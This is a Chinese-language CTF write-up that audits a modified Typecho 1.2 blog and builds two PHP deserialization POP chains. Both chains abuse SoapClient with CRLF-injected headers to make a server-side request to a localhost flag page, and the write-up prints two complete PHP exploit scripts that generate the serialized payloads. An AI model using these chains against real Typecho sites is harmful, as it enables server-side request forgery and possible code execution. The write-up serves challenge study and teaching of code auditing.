0x01 前言
感觉代码审计需要不断练习,提高自己看代码的能力,这次从两条pop
链来分析反序列化漏洞吧。
0x02 正文
这个题是一个typecho 1.2
的框架,扫目录发现www.zip
源码泄露,下载后进行审计,看到flag.php
:
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
大概率要打SSRF
,而且RCE的函数都被过滤了,看了typecho 1.1
的反序列化漏洞,想看看install.php
有没有漏洞或者说是被修复了没有,结果发现整个文件夹都被删了,既然觉得是反序列化漏洞的话,那就从关键函数回溯
关键函数回溯也是代码审计中比较重要的一环,面对代码量很大的文件不妨一试
全局搜索unserialize
发现:

应该是找到入口点了,贴下主要代码:
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
接着看一下这个类是一个插件,既然是插件的话应该设置了路由和接口,先不着急,紧接着发现:
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
__wakeup()
方法摆在这里,那应该就是从而进行反序列化了,触发__wakeup
后,跟进Typecho_Db
跟进后贴上关键代码,$adatpterName
看到会被当成字符串echo
且是可控的,自然想到如果$adatpterName
是某一个类的话,则会触发该类的__toString()
方法.

接下来我们全局搜索
__toString()
方法
Pop链 1
因为__toSrting()
方法有多个类中存在,这里有两条链可以利用,因此从这里开始分别分析。
Typecho_Db_Query
类中发现该魔术方法,关键点在这:

知道当
$this->_sqlPreBuild['action']
为SELECT
时,则会return $this->_adapter->parseSelect($this->_sqlPreBuild);
而如果我们将$_adapter
设置为一个类,而这个类没有parseSelect方法,则会触发__call()
方法,考虑到此处还有进行SSRF,自然想到了利用SoapClient
这个PHP的原生类,触发其__call()
方法从而进行SSRF
贴上判断原生类的魔术方法
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
因此我们的第一条链就出来了:
HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF
EXP:
<?php
class HelloWorld_DB{
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
public function __construct()
{
$this->coincidence['hello'] = new Typecho_Db_Query();
$this->coincidence['world'] = 'crispr';
}
}
class Typecho_Db{
private $_adapterName;
private $_prefix;
public function __construct( $prefix = 'typecho_')
{
/** 获取适配器名称 */
$adapterName = new Typecho_Db_Query() ;
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query{
private $_sqlPreBuild;
private $_prefix;
private $_adapter;
public function __toString()
{
return $this->_adapter->parseSelect($this->_sqlPreBuild);
}
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=skdpjb9j5loauj48q58gfj00q2"
);
$this->_adapter = new SoapClient(null, array('uri' => 'crispr', 'location' => $target, 'user_agent' => "crispr\r\n" . join("\r\n", $headers)));
$this->_sqlPreBuild['action'] = "SELECT";
}
}
$obj = new HelloWorld_DB();
$payload = urlencode(base64_encode(serialize($obj)));
echo $payload;
这里还需要触发最开始的action()
方法,去查一下路由发现:

addRoute接口,可以往typecho里面添加特定的路由策略,进而将url请求重定向到自己的控制器或者插件上。
代码意思就是:添加一条路由,将xxxxxxx.com/index.php/page_admin
的请求发送到HelloWorld_Plugin
这个action()
上,因此我们访问这个目录就能触发了。

Pop链 2
可以参考FreeBuf的typecho反序列化漏洞,这里我们也跟着分析
还是从__toString()
方法入手,Pop 1链 选取的是Query.php
,而这里我们看一下另一个Feed.php
的__toSrting(),跟进查看:

触发第二个需要
self:RSS2 == $this->_type
这个好绕过,接下来发现$item['author']->screenName
而$item
其实是私有属性
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数。
如果我们给$item['author']
设置的类中没有$screenName
就会执行该类的__get()
方法,全局搜索该方法:

跟进
get()
方法:
这里我们只需要设置
$this->_params['screenName']
就能将值赋给$value
,作为变量传到_applyFilter()
中,跟进:
当我们设置了
$_filter
后,会调用call_user_func()
,而且其两个参数都是我们可控的,原版的typecho
可以直接进行RCE,此处我们将$filter
设成call_user_func
而为什么要再用一遍呢?因为我们要调用__call()
方法,而直接call_user_func
,只会将第一个参数设成方法名,第二个参数为方法的参数,如果filter=call_user_func
而$value=array('SoapClient','2333')
时
call_user_func
会将数组的成员当做类名和方法,而并没有定义此方法,所以会调用自带的__call()
函数,成功发送请求进行SSRF
因为SoapClient
没有2333方法,成功调用__call()
达到SSRF的目的。
EXP附上出题大佬eki写的:
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct($coincidence){
$this->coincidence = $coincidence;
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Request{
private $_params;
private $_filter;
function __construct($params,$filter){
$this->_params=$params;
$this->_filter=$filter;
}
}
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie:PHPSESSID= np88gihrs5gepiou717rit3dh4'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo urlencode(base64_encode(serialize($exp)));